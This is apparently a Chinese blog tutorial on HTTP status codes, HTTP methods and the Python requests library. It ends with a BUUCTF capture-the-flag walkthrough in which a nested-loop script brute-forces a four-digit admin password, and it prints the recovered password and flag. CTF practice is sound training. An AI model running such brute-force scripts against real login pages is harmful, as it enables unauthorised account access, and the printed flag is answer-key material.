Python编程_1

1、 HTTP常见状态码介绍

当我们从客户端向服务器发送请求时
服务器向我们返回状态码
状态码就是告诉我们服务器响应的状态
通过它,我们就可以知道当前请求是成功了还是出现了什么问题
状态码是由3位数字和原因短语组成的(比如最常见的:200 OK)
其中第一位数字表示响应类别,响应类别从1到5分为五种

状态码 响应类别 原因短语
1XX 信息性状态码(Informational) 服务器正在处理请求
2XX 成功状态码(Success) 请求已正常处理完毕
3XX 重定向状态码(Redirection) 需要进行额外操作以完成请求
4XX 客户端错误状态码(Client Error) 客户端原因导致服务器无法处理请求
5XX 服务器错误状态码(Server Error) 服务器原因导致处理请求出错
常见状态码 原因
200 请求成功
301 请求的资源已被永久的移动到新URI
302 临时移动
400 客户端请求的语法错误,服务器无法理解
401 请求要求用户的身份认证
403 服务器理解请求客户端的请求,但是拒绝执行此请求
404 服务器无法根据客户端的请求找到资源(网页)
408 服务器等待客户端发送的请求时间过长,超时
500 服务器内部错误,无法完成请求
503 由于超载或系统维护,服务器暂时的无法处理客户端的请求
504 充当网关或代理的服务器,未及时从远端服务器获取请求
505 服务器不支持请求的HTTP协议的版
HTTP常见方法 说明
GET 请求URL指定的资源。指定的资源经服务器端解析后返回响应内容
POST: 传输实体主题
PUT 传输文件
HEAD 获取报文首部
DELETE 删除文件
OPTIONS 询问支持的方法
TRACE 追踪路径
CONNECT 要求用隧道协议链接代理

常见

2、python编程之HTTP请求

1、Request模块
Requests: 让 HTTP 服务人类,使用requests可以模拟浏览器的请求,比起之前用到的urllib,requests模块的api更加便捷(本质就是封装了urllib3)

注意:requests库发送请求将网页内容下载下来以后,并不会执行js代码,这需要我们自己分析目标站点然后发起新的request请求

官方文档:http://cn.python-requests.org/zh_CN/latest/

安装:pip3 install requests
调用:import requests
1、GET参数请求

  • 当无参数时
    使用request.get(url)调用
import requests #调用requests库
url = 'http://www.baidu.com' 
r  = requests.get(url) #获取url,将获取到的信息赋值给r
print(r.url)
  • 当有参数时
    使用request.get(url,params={key1:value,key2:value})
    当有多个参数时,直接往后面加就行了
    实例代码
import requests
url = 'http://127.0.0.1'
r  = requests.get(url,params={'uasrname':'user','password':'pass'})
print(r.url)

运行结果
在这里插入图片描述

2、POST参数请求

  • 无参数时
    使用requests.post(url)
  • 有参数时
    使用requests.post(url=url,data={key:value1,key:value2})
    同样如果多个数据那就直接加在后面,实列代码与GET参数传递类似

3、自定义请求头

header = {key:value}
	request.get(url,headers=headers)
	r   = request.get(url)

此段代码可以更改HTTP头的信息,代码如下

import requests
url = "127.0.0.1"
r1 = requests.get(url)
print(r1.headers)
headers   = {'Content-Length':'400'}
r = requests.get(url,headers=headers)#使用自定义的请求头
print(r.request.headers)

常见的获取HTTP信息的方式

代码 说明
r.url 输出url
r.status_code 获取状态码
r.text 获取响应文本(源代码)
r.content 获取响应文本(2进制流数据)
r.headers 获取响应头
r.cookie 获取Cookie

ADD:这里r.content可以通过decode方式将2进制数据流解码成字符串
如:r.content.decode()

3、实战之破解弱密码

目标:BUUCTF-BUU BRUTE 1
打开题目显示账号为admin,密码为4为数字弱密码,因此可以直接写脚本进行暴力破解
在这里插入图片描述
参考代码

import  requests
url = 'http://33ff0af2-21cb-4c23-9368-4356a75f4f58.node3.buuoj.cn'
dict ='0123456789' #字典信息
for a in range(0,len(dict)): #生成1000-9999的数字
    for b in range(0,len(dict)):
        for c in range(0,len(dict)):
            for d in range(0,len(dict)):
                flag = dict[a] +dict[b] +dict[c] + dict[d]
                payload = {'username': 'admin', 'password': flag}
                r = requests.get(url, params=payload)
                print(r.content.decode()+flag)
                   

最后得到结果flag{c94b1ffb-f512-42ba-b8da-1ad4710645ce}且密码为6490
在这里插入图片描述

发布了7 篇原创文章 · 获赞 0 · 访问量 178

猜你喜欢

转载自blog.csdn.net/weixin_46022050/article/details/104102911
今日推荐